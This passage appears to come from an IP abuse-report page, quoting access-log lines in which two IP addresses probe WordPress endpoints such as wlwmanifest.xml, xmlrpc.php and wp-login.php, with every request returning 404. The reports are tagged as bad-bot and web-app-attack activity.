208.84.101.102 epice.eu - [18/Nov/2025:08:28:19 +0100] "GET /wp-includes/wlwmanifest.xml HTTP/1.1" 404 341 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
208.84.101.102 epice.eu - [18/Nov/2025:08:28:19 +0100] "GET /xmlrpc.php?rsd HTTP/1.1" 404 341 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
208.84.101.102 epice.eu - [18/Nov/2025:08:28:19 +0100] "GET /blog/wp-includes/wlwmanifest.xml HTTP/1.1" 404 341 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
208.84.101.102 epice.eu - [18/Nov/2025:08:28:19 +0100] "GET /web/wp-includes/wlwmanifest.xml HTTP/1.1" 404 341 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
208.84.101.102 epice.eu - [18/Nov/2025:08:28:19 +0100] "GET /wordpress/wp-includes/wlwma
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇻🇳
42.96.15.201
|
|
42.96.15.201 belguise.net - [10/Nov/2025:17:14:36 +0100] "POST /xmlrpc.php HTTP/1.1" 404 341 "http:/ ...
show more
42.96.15.201 belguise.net - [10/Nov/2025:17:14:36 +0100] "POST /xmlrpc.php HTTP/1.1" 404 341 "http://belguise.net" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36"
42.96.15.201 belguise.net - [10/Nov/2025:17:14:36 +0100] "POST /xmlrpc.php HTTP/1.1" 404 341 "http://belguise.net" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:128.0) Gecko/20100101 Firefox/128.0"
42.96.15.201 belguise.net - [10/Nov/2025:17:14:37 +0100] "POST /wp-login.php HTTP/1.1" 404 341 "http://belguise.net" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0.1) Gecko/20100101 Firefox/125.0.1"
42.96.15.201 belguise.net - [14/Nov/2025:01:14:02 +0100] "POST /wp-login.php HTTP/1.1" 404 341 "http://belguise.net" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.102 Safari/537.36"
42.96.15.201 belguise.net - [14/Nov/2025:03:03:53 +0100] "POST /wp-login.php HTTP/1.1" 404 341 "http://belguise.net"
...
show less
|
Bad Web Bot
Web App Attack
|